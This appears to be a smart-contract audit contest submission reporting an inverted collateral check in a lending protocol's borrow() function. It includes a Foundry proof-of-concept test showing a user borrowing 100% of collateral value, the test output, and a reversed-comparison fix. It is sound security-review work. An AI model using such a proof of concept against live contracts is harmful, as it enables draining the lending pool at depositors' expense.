Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

Incorrect math allows borrowing above liquidation threshold, risking protocol to become insolvent

Summary

The LendingPool contract contains a critical mathematical error in the borrow() function that completely breaks the collateralization limits. The function inverts the intended logic for the liquidation threshold check, allowing users to borrow nearly unlimited amounts against their collateral. This puts the entire protocol at immediate risk of insolvency.

Vulnerability Details

The vulnerability exists in the following code from the borrow() function:

if (collateralValue < userTotalDebt.percentMul(liquidationThreshold)) {
revert NotEnoughCollateralToBorrow();
}

This check is backwards. Let's examine why with real numbers:

A user deposits collateral worth 100 USDC with:

  • collateralValue = 100e18

  • liquidationThreshold = 8000 (80%)

  • Attempts to borrow 100 USDC, so userTotalDebt = 100e18

Result:

// collateralValue < userTotalDebt.percentMul(liquidationThreshold)
100e18 < (100e18 * 8000/10000)
100e18 < 80e18

As the collateral is greater than the current threshold it succeeds and the user can borrow 100% of the collateral value.

PoC

Let's reproduce the example above and show user can borrow 100% in collateral, completely ignoring the liquidationThreshold:

  1. Install foundry through:

    • npm i --save-dev @nomicfoundation/hardhat-foundry

    • Add require("@nomicfoundation/hardhat-foundry");on hardhat config file

    • Run npx hardhat init-foundry and forge install foundry-rs/forge-std --no-commit

  2. Create a file called LendingPool.t.solin the test folder

  3. Paste the code below:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
import "../contracts/core/governance/boost/BoostController.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "../contracts/interfaces/core/tokens/IveRAACToken.sol";
import "../contracts/core/pools/StabilityPool/StabilityPool.sol";
import "../contracts/core/pools/LendingPool/LendingPool.sol";
import "../contracts/core/tokens/RToken.sol";
import "../contracts/core/tokens/DebtToken.sol";
import "../contracts/core/tokens/DEToken.sol";
import "../contracts/core/tokens/RAACToken.sol";
import "../contracts/core/tokens/RAACNFT.sol";
import "../contracts/core/minters/RAACMinter/RAACMinter.sol";
import "../contracts/libraries/math/WadRayMath.sol";
import "../contracts/core/primitives/RAACHousePrices.sol";
import "../contracts/mocks/core/tokens/crvUSDToken.sol";
contract LendingPoolTest is Test {
using WadRayMath for uint256;
// contracts
StabilityPool stabilityPool;
LendingPool lendingPool;
RToken rToken;
DEToken deToken;
DebtToken debtToken;
RAACMinter raacMinter;
crvUSDToken crvUSD;
RAACToken raacToken;
RAACHousePrices public raacHousePrices;
RAACNFT public raacNFT;
// users
address owner = address(1);
address user1 = address(2);
address user2 = address(3);
address user3 = address(4);
address[] users = new address[](3);
function setUp() public {
// setup users
users[0] = user1;
users[1] = user2;
users[2] = user3;
// initiate timestamp and block
vm.warp(1738798039); // 2025-02-05
vm.roll(100); // block
vm.startPrank(owner);
_deployAndSetupContracts();
vm.stopPrank();
_mintCrvUsdTokenToUsers(1000e18);
_depositCrvUsdIntoLendingPoolForAllUsers(100e18);
}
function test_userCanBorrow_aboveLiquidationThreshold_leadingToProcolInsolvency() public {
// actions
// 1. House price is $100
uint256 housePrice = 100e18;
_setupHousePrices(housePrice);
vm.startPrank(user1);
// 2. User deposit a NFT with value of $100.
_mintAndDepositNftInLendingPool(1, housePrice);
// 3. yet user will be able to borrow $100 in value, crossing the liquidation threshold of 80%
_borrowCrvUsdTokenFromLendingPool(housePrice);
vm.stopPrank();
console.log("liquidationThreshold: %e", lendingPool.liquidationThreshold()); // 80%
console.log("User collateral value: %e", lendingPool.getUserCollateralValue(user1)); // $100
console.log("user1 debt: %e", lendingPool.getUserDebt(user1)); // $100
}
// HELPER FUNCTIONS
function _deployAndSetupContracts() internal {
// Deploy base tokens
crvUSD = new crvUSDToken(owner);
raacToken = new RAACToken(owner, 100, 50);
// Deploy real oracle
raacHousePrices = new RAACHousePrices(owner);
raacHousePrices.setOracle(owner); // Set owner as oracle
// Deploy real NFT contract
raacNFT = new RAACNFT(
address(crvUSD),
address(raacHousePrices),
owner
);
// Deploy core contracts with proper constructor args
rToken = new RToken(
"RToken",
"RTK",
owner,
address(crvUSD)
);
deToken = new DEToken(
"DEToken",
"DET",
owner,
address(rToken)
);
debtToken = new DebtToken(
"DebtToken",
"DEBT",
owner
);
// Deploy pools with required constructor parameters
lendingPool = new LendingPool(
address(crvUSD), // reserveAssetAddress
address(rToken), // rTokenAddress
address(debtToken), // debtTokenAddress
address(raacNFT), // raacNFTAddress
address(raacHousePrices), // priceOracleAddress
0.8e27 // initialPrimeRate (RAY)
);
// Deploy RAACMinter with valid constructor args
raacMinter = new RAACMinter(
address(raacToken),
address(0x1234324423), // stability pool
address(lendingPool),
owner
);
stabilityPool = new StabilityPool(owner);
stabilityPool.initialize(
address(rToken), // _rToken
address(deToken), // _deToken
address(raacToken), // _raacToken
address(raacMinter), // _raacMinter
address(crvUSD), // _crvUSDToken
address(lendingPool) // _lendingPool
);
// workaround for another bug found in Stability Pool.
deal(address(crvUSD), address(stabilityPool), 100_000e18);
raacMinter.setStabilityPool(address(stabilityPool));
lendingPool.setStabilityPool(address(stabilityPool));
rToken.setReservePool(address(lendingPool));
debtToken.setReservePool(address(lendingPool));
rToken.transferOwnership(address(lendingPool));
debtToken.transferOwnership(address(lendingPool));
deToken.setStabilityPool(address(stabilityPool));
deToken.transferOwnership(address(stabilityPool));
// setup raacToken's minter and whitelist
raacToken.setMinter(address(raacMinter));
raacToken.manageWhitelist(address(stabilityPool), true);
}
function _mintCrvUsdTokenToUsers(uint256 initialBalance) internal {
for (uint i = 0; i < users.length; i++) {
vm.prank(owner);
crvUSD.mint(users[i], initialBalance);
vm.startPrank(users[i]);
crvUSD.approve(address(raacNFT), initialBalance);
crvUSD.approve(address(lendingPool), initialBalance);
rToken.approve(address(stabilityPool), initialBalance);
vm.stopPrank();
}
}
function _depositCrvUsdIntoLendingPoolForAllUsers(uint256 initialDeposit) internal {
// iterate users array and deposit into lending pool
for (uint i = 0; i < users.length; i++) {
vm.prank(users[i]);
lendingPool.deposit(initialDeposit);
}
}
function _mintNFTwithTokenId(uint256 tokenId, uint256 housePrice) internal {
raacNFT.mint(tokenId, housePrice);
raacNFT.approve(address(lendingPool), tokenId);
}
function _setupHousePrices(uint256 housePrice) internal {
vm.startPrank(owner);
raacHousePrices.setHousePrice(1, housePrice);
raacHousePrices.setHousePrice(2, housePrice);
raacHousePrices.setHousePrice(3, housePrice);
vm.stopPrank();
}
function _mintAndDepositNftInLendingPool(uint256 tokenId, uint256 housePrice) internal {
_mintNFTwithTokenId(tokenId, housePrice);
lendingPool.depositNFT(tokenId);
}
function _borrowCrvUsdTokenFromLendingPool(uint256 amount) internal {
lendingPool.borrow(amount);
}
}

run: forge test --match-test test_userCanBorrow_aboveLiquidationThreshold_leadingToProcolInsolvency -vv

Result:

Ran 1 test for test/LendingPool.t.sol:LendingPoolTest
[PASS] test_userCanBorrow_aboveLiquidationThreshold_leadingToProcolInsolvency() (gas: 608029)
Logs:
@> liquidationThreshold: 8e3 // 80%
@> User collateral value: 1e20
@> user1 debt: 1e20
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 7.47ms (1.68ms CPU time)

Impact

  • Users can currently take out loans up to 100% of their collateral value, regardless of the value defined for the liquidationThreshold.

  • Insolvency. Since every user can borrow more than they should, the aggregate risk to the protocol is catastrophic. A mere 20% drop in collateral values could trigger a cascade of bad debt.

Tools Used

Manual Review & Foundry

Recommendations

Reverse the comparison, so the user debt cannot surpass the liquidation threshold.

if (collateralValue.percentMul(liquidationThreshold) < userTotalDebt) {
revert NotEnoughCollateralToBorrow();
}

After the fix, run the test again. Now users cannot borrow above the threshold.

Encountered 1 failing test in test/LendingPool.t.sol:LendingPoolTest
[FAIL: NotEnoughCollateralToBorrow()] test_userCanBorrow_aboveLiquidationThreshold_leadingToProcolInsolvency() (gas: 465558)
Encountered a total of 1 failing tests, 0 tests succeeded
Updates

Lead Judging Commences

inallhonesty Lead Judge 3 months ago
Submission Judgement Published
Validated
Assigned finding tags:

LendingPool::borrow as well as withdrawNFT() reverses collateralization check, comparing collateral < debt*0.8 instead of collateral*0.8 > debt, allowing 125% borrowing vs intended 80%

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.